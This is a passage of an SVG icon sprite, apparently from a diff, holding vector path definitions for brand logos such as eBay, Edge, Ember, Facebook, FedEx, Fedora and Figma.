id="earlybirds" viewBox="0 0 480 512"> + <path d="M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z"></path> + </symbol> + <symbol id="ebay" viewBox="0 0 640 512"> + <path d="M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z"></path> + </symbol> + <symbol id="edge" viewBox="0 0 512 512"> + <path d="M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z"></path> + </symbol> + <symbol id="edge-legacy" viewBox="0 0 512 512"> + <path d="M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z"></path> + </symbol> + <symbol id="elementor" viewBox="0 0 448 512"> + <path d="M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z"></path> + </symbol> + <symbol id="ello" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z"></path> + </symbol> + <symbol id="ember" viewBox="0 0 640 512"> + <path d="M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z"></path> + </symbol> + <symbol id="empire" viewBox="0 0 496 512"> + <path d="M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z"></path> + </symbol> + <symbol id="envira" viewBox="0 0 448 512"> + <path d="M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z"></path> + </symbol> + <symbol id="erlang" viewBox="0 0 640 512"> + <path d="M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z"></path> + </symbol> + <symbol id="ethereum" viewBox="0 0 320 512"> + <path d="M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z"></path> + </symbol> + <symbol id="etsy" viewBox="0 0 384 512"> + <path d="M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z"></path> + </symbol> + <symbol id="evernote" viewBox="0 0 384 512"> + <path d="M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z"></path> + </symbol> + <symbol id="expeditedssl" viewBox="0 0 496 512"> + <path d="M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z"></path> + </symbol> + <symbol id="facebook" viewBox="0 0 512 512"> + <path d="M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"></path> + </symbol> + <symbol id="facebook-f" viewBox="0 0 320 512"> + <path d="M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"></path> + </symbol> + <symbol id="facebook-messenger" viewBox="0 0 512 512"> + <path d="M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z"></path> + </symbol> + <symbol id="facebook-square" viewBox="0 0 448 512"> + <path d="M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z"></path> + </symbol> + <symbol id="fantasy-flight-games" viewBox="0 0 512 512"> + <path d="M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z"></path> + </symbol> + <symbol id="fedex" viewBox="0 0 640 512"> + <path d="M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z"></path> + </symbol> + <symbol id="fedora" viewBox="0 0 448 512"> + <path d="M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z"></path> + </symbol> + <symbol id="figma" viewBox="0 0 384 512"> + <path d="M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z"></path> + </symbol> + <symbol id="firefox" viewBox="0 0 512 512"> + <path 